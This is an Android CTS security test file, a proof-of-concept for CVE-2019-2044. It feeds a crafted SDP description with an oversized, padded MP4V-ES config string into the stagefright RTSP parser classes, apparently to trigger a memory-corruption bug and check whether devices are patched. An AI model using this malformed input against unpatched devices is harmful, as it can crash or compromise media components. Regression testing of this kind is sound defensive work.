xref: /aosp_15_r20/cts/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp (revision b7c941bb3fa97aba169d73cee0bed2de8ac964bf)
1 /*
2  * Copyright (C) 2021 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #include <media/stagefright/rtsp/APacketSource.h>
17 #include <media/stagefright/rtsp/ASessionDescription.h>
18 #include <stdlib.h>
19 
20 using namespace android;
21 
main(void)22 int main(void) {
23     sp<ASessionDescription> desc = new ASessionDescription;
24     static const char *raw =
25         "m=mFormats 20\r\n"
26         "a=rtpmap:20 MP4V-ES/1/2\r\n"
27         "a=fmtp:20 config=0000012000004000280020008061616161616161616161616161"
28         "61616161616161616161616161616161616161616161616161616161616161616161"
29         "61616161616161616161616161616161616161616161616161616161616161616161"
30         "616161616161616161616161616161616161616161616161616161\r\n"
31         "a=range:npt=1.1-2.2\r\n"
32         "a=framesize:1-9 \r\n"
33         "a=control:abc\r\n"
34         "a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n";
35 
36     if(!desc->setTo(raw, strlen(raw))) {
37         return EXIT_FAILURE;
38     }
39 
40     sp<APacketSource> source = new APacketSource(desc, 1);
41     return EXIT_SUCCESS;
42 }
43